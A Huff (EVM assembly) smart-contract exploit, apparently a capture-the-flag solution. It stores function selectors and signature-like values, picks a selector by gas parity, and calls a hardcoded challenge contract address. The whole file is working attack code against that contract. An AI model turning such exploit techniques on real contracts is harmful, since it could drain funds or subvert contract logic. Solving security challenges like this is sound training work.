Exploit.huff

#define constant CHALLENGE_ADDRESS = 0xcEf1EF6E3478d476d3DdB843f7547227Fb866a15

#define macro CONSTRUCTOR() = {
    0xc48924a3 0x00 sstore
    0x09775b47 0x01 sstore
    [CHALLENGE_ADDRESS] 0x02 sstore
    0x1c 0x03 sstore
    0xba76c938bca5ba6daf32f8940f109d10a5e0cd681900c4b0d1152ba90c72707a 0x04 sstore
    0xd21a7983cb860b1db4ba9571efee60fdc6ac7b02a3a8b5a082f46bab6c5db47c 0x05 sstore
    _RETURN_MAIN()
}

#define macro _RETURN_MAIN() = {
    __codesize(MAIN)        // [size]
    dup1                    // [size, size]
    __codeoffset(MAIN)      // [offset, size, size]
    0x0                     // [0, offset, size, size]
    codecopy                // [size]
    0x0                     // [0, size]
    return                  // []
}

#define macro MAIN() = takes (0) returns (0) {
    2 gas mod sload 0x00 mstore
    0x03 sload msize mstore
    0x04 sload 0x40 mstore
    0x05 sload 0x60 mstore

    0x20        // retSize
    0x80        // retOffset
    msize       // argsSize
    0x1c        // argsOffset
    0x00        // value
    0x02 sload  // addr
    gas         // gas
    call

    0x00 mstore
    0x20 0x00 return
}